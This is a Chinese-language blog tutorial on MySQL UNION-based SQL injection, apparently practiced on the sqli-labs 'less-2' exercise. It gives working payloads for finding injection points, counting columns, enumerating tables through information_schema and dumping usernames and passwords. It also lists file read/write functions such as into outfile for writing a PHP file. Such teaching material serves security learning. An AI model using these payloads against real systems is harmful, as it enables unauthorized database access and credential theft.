联合注入详解

4.1. 判断注入点(注入类型)

MySQL的注释符号# 或者--+,意思是:只执行前面的语句

方法

  1. 单引号判断法(主要判断法)

当使用一个单引号时,返回错误显示,说明存在SQL注入

无论是数字型还是字符型都会报错,因为查询语句要闭合,引号是成对出现的。

因为在传输该相关数据参数时并没有对其进行仔细过滤,导致直接参与数据库查询。

  1. ?id=1,回显报错,存在注入。

  1. 数字型注入不需要进行闭合,直接插入恶意语句id=-1 union select 1,2,3

此处id=-1不存在表中数值,所以显示联合查询后面的结果集。

下图实例使用less-2

  1. 字符型注入需要找到闭合方式,进行闭合后在插入恶意语句(实战中闭合方式以单 引号居多) id=-1’ union select 1,2,3--+

4.2. 判断列数

因为前后两个结果集的列数必须相同,所以需要先判断列数,再进行 union 语句的 插入,在 mysql 中使用 order by 语句进行列数的判断,对 order by 后面的参数进行 改变,页面报错时说明不存在该列,即可获取表的列数。

?id = 1 order by 3

?id = 1 order by 4

4.3. 判断显错点

因为不是所有的列数会在前端显示,后段虽然执行了,但是前端代码决定显示哪些列

id=-1 union select 1,2,3

4.4. 信息收集(获取数据库名)

获取单个数据?id=-1 union select 1,2,database()

获得多个数个数据库?id=-1 union select 1,2,concat_ws(',',database(),user())

 

其他信息收集的函数

➢into outfile:写文件 {select '' into outfile 'D:/phpstudy/www/ly.php’}

➢load_file():读文件操作

➢concat(str1,str2..):连接字符串,连接两个或多个数组

➢group_concat(str1,str2..):连接字符串,能将相同的行组合起来

➢length() =>计算字符串长度

➢hex() =>字符转换为 16 进制

user() 当前用户名

database() 当前所用数据库

current_user() 当前用户名(可查看权限)

version() 数据库版本

into dumpfile 写文件操作

4.5. 获取表名

id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

4.6. 获取字段名

id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

4.7. 获取数据

id=-1 union select 1,2,group_concat('~',id,username,password,'~') from security.users

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

談不譚網安

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值